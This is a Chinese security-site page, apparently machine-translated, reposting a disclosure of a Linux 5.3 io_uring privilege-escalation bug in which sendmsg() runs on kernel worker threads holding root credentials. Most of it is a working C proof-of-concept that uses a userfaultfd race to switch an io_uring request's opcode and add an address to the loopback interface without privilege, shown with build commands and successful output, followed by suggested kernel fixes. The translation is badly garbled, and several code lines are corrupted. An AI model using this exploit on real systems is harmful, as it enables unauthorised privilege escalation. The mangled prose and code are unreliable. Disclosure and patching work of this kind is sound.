Linux 5.3-通过io_uring使用内核Creds将sendmsg()卸载到内核线程上来进行特权升级
摘要:Linux 5 3-通过io_uring使用内核Creds将sendmsg()卸载到内核线程上来进行特权升级
因为提交0fa03c624d8f(“io_uring: add support for sendmsg()”,第一个在v5.3中),
io_uring支持异步调用sendmsg()。
非特权用户空间任务可以提交IORING_OP_SENDMSG提交队列条目,这将导致在原始任务的syscall上下文中调用sendmsg(),或者——如果不能在不阻塞的情况下发送消息——在内核工作线程上调用sendmsg()。
问题是sendmsg()可能会出于各种原因查看调用任务的凭据;例如:
- sendmsg()非空、非抽象-未连接的AF_UNIX数据报套接字上的>msg_name最后执行文件系统访问检查
-在AF_UNIX套接字上使用SCM_CREDENTIALS的sendmsg()最终会查看进程凭证
- sendmsg()非空- AF_NETLINK套接字上的>msg_name最后对调用进程执行性能检查
当请求被传递给内核工作人员任务时,所有这些检查都是针对工作人员的凭证执行的——这些凭证是默认的内核信誉,具有UID 0和完整的功能。
迫使io_uring手请求内核工作线程,攻击者可以滥用这一事实的操作码字段SQE多次读取,访问之间的struct msghdr:攻击者可以先提交一个IORING_OP_RECVMSG类型的SQE的struct msghdr userfaultfd区域,然后,userfaultfd触发时,开关IORING_OP_SENDMSG的类型。
下面是Linux 5.3的一个复制器,它通过添加一个没有所需特权的环回接口的IPv4地址:
$ cat uring_sendmsg.c #define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \})static int uffd = -1;static struct iovec *iov;static struct iovec real_iov;static struct io_uring_sqe *sqes;static void *uffd_thread(void *dummy) {
struct uffd_msg msg;
int res = SYSCHK(read(uffd, &msg, sizeof(msg)));
if (res != sizeof(msg)) errx(1, "uffd read");
printf("got userfaultfd message\n");
sqes[0].opcode = IORING_OP_SENDMSG;
union {
struct iovec iov;
char pad[0x1000];
} vec = {
.iov = real_iov
};
struct uffdio_copy copy = {
.dst = (unsigned long)iov,
.src = (unsigned long)&vec,
.len = 0x1000
};
SYSCHK(ioctl(uffd, UFFDIO_COPY, ©));
return NULL;}int main(void) {
// initialize uring
struct io_uring_params params = { };
int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, ¶ms));
unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING));
unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING));
sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));
// prepare userfaultfd-trapped IO vector page
iov = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0));
uffd = SYSCHK(syscall(SYS_userfaultfd, 0));
struct uffdio_api api = { .api = UFFD_API, .features = 0 };
SYSCHK(ioctl(uffd, UFFDIO_API, &api));
struct uffdio_register reg = {
.mode = UFFDIO_REGISTER_MODE_MISSING,
.range = { .start = (unsigned long)iov, .len = 0x1000 }
};
SYSCHK(ioctl(uffd, UFFDIO_REGISTER, ®));
pthread_t thread;
if (pthread_create(&thread, NULL, uffd_thread, NULL))
errx(1, "pthread_create");
// construct netlink message
int sock = SYSCHK(socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE));
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK
};
struct {
struct nlmsghdr hdr;
struct ifaddrmsg body;
struct rtattr opthdr;
unsigned char addr[4];
} __attribute__((packed)) msgbuf = {
.hdr = {
.nlmsg_len = sizeof(msgbuf),
.nlmsg_type = RTM_NEWADDR,
.nlmsg_flags = NLM_F_REQUEST
},
.body = {
.ifa_family = AF_INET,
.ifa_prefixlen = 32,
.ifa_flags = IFA_F_PERMANENT,
.ifa_scope = 0,
.ifa_index = 1
},
.opthdr = {
.rta_len = sizeof(struct rtattr) + 4,
.rta_type = IFA_LOCAL
},
.addr = { 1, 2, 3, 4 }
};
real_iov.iov_base = &msgbuf;
real_iov.iov_len = sizeof(msgbuf);
struct msghdr msg = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = iov,
.msg_iovlen = 1,
};
// send netlink message via uring
sqes[0] = (struct io_uring_sqe) {
.opcode = IORING_OP_RECVMSG,
.fd = sock,
.addr = (unsigned long)&msg
};
((int*)(sq_ring + params.sq_off.array))[0] = 0;
(*(int*)(sq_ring + params.sq_off.tail))++;
int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));
printf("submitted %d, getevents done\n", submitted);
int cq_tail = *(int*)(cq_ring + params.cq_off.tail);
printf("cq_tail = %d\n", cq_tail);
if (cq_tail != 1) errx(1, "expected cq_tail==1");
struct io_uring_cqe *cqe = (void*)(cq_ring + params.cq_off.cqes);
if (cqe->res res, strerror(-cqe->res));
} else {
printf("result: %d\n", cqe->res);
}}$ gcc -Wall -pthread -o uring_sendmsg uring_sendmsg.c$ ip addr show dev lo1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever$ ./uring_sendmsg got userfaultfd messagesubmitted 1, getevents donecq_tail = 1result: 32$ ip addr show dev lo1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet 1.2.3.4/32 scope global lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever$在我看来,解决这个问题最简单的方法可能会抓住一个参考给调用者的凭证与get_current_cred io_uring_create()的(),然后让所有内核线程的入口代码永久安装这些作为主观的凭证与override_creds ()。
(或者commit_creds()——这意味着您实际上可以在诸如“ps aux”之类的输出中看到这些线程的所有者用户。另一方面,我不确定这会如何影响信号发送,所以override_creds()可能更安全。)这意味着您不能安全地跨setuid()之类的转换使用io_uring实例,这会降低特权,但这可能不是大问题吧?虽然安全漏洞只是由IORING_OP_SENDMSG的添加引入的,马克这种改变可能有利于补丁到v5.1中,当io_uring补充说,我认为如SELinux钩从rw_verify_area叫做()到目前为止一直认为所有的I / O操作内核上下文,这并不是一个真正的安全问题,但可能会如导致意想不到的否认根据SELinux策略。
相关热词搜索:Linux 5 3 io_uring Creds sendmsg 内核线程 特权升级
上一篇:KVMSEC:Linux内核虚拟机的安全扩展
下一篇:各种漏洞环境的靶场平台Vulnhub,靶机名称:Os-Bytesec

Warning: file_put_contents(/www/wwwroot/www.023niu.com/caches/caches_tpl_data/caches_data/dbb9dfb7583cf7fc6b2203caae00938b.cache.php): failed to open stream: Permission denied in /www/wwwroot/www.023niu.com/phpcms/libs/classes/cache_file.class.php on line 60
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )9691( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6582( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4710( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )4206( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3815( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2873( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2418( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )2219( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )2000( 亮了
PayPal登录界面高危漏洞:分析身份验证机制,通过请求验证码质询服务端(reCAPTCHA challenge),获取注册邮箱和明文密码
牛创网络: "PayPal登录界面高危漏洞:分析身份验证机制,通过请求验证码质询服务端(reCAPTCHA challenge),获取PayPal注册邮箱和明文密码。
2020-02-03 10:43:56 )1905( 亮了